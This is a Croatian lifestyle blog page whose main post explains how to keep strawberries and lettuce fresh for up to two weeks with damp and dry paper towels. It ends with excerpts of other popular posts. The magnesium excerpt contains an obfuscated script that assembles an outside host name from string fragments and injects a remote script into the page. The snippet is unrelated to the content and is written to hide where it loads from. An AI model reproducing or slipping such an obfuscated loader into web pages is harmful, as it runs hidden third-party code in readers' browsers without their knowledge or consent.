KAKO SAČUVATI SVJEŽINU JAGODA I SALATE DO DVA TJEDNA? 🥗 🍓





Kako sačuvati svježinu jagoda i salate do dva tjedna?




Kada je u pitanju čuvanje svježeg voća i povrća, vlaga je istovremeno i najbolji prijatelj i najveći neprijatelj. Previše vlage potiče razvoj plijesni i truljenje, dok premalo vlage uzrokuje uvenuće. Ključ dugotrajne svježine leži u kontroliranoj vlažnosti, a obični papirnati ubrus je tajni alat koji to rješava na najelegantniji način.





Zašto salata ostaje hrskava?

Zelena salata, špinat i rikula nakon branja nastavljaju ispuštati vodu. Ako su zatvoreni u plastičnoj vrećici, ta se voda kondenzira na stijenkama, kaplje natrag po lišću i uzrokuje onaj neugodni "ljigavi" sloj.

Postupak: Operite salatu, dobro je posušite (najbolje u centrifugi za salatu) i stavite je u posudu. Prije nego što je poklopite, preko vrha stavite papirnati ubrus koji ste tek lagano poprskali vodom.
  • Logika: Ubrus djeluje kao regulator, upija višak kondenzacije koji bi uzrokovao truljenje, a istovremeno održava idealnu razinu vlage koja sprječava da listovi postanu mlitavi.



Jagode koje ne poznaju plijesan
Jagode su među najosjetljivijim voćem jer su poput spužve. Ako ih operete i samo ubacite u hladnjak, trajat će jedva 48 sati.
 
Postupak: Jagode nemojte prati dok ih ne planirate jesti. Dno staklene posude obložite suhim ubrusom, poslažite jagode, a na vrh stavite jedva vlažan papirnati ubrus.
  • Rezultat: Vlažni ubrus na vrhu sprječava isušivanje plodova, dok suhi na dnu "lovi" bilo kakvu kapljicu koja bi mogla pokrenuti kvarenje.
    Ovom metodom jagode ostaju čvrste i mirisne i do dva tjedna.




Pametno slaganje u hladnjaku
Osim ove metode, bitno je kamo stavljate te posude. Jagode i salata ne vole najhladnije dijelove hladnjaka (obično stražnja stijenka ili najgornja polica). Držite ih u ladicama predviđenim za povrće gdje je cirkulacija zraka optimizirana za ovakve trikove.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više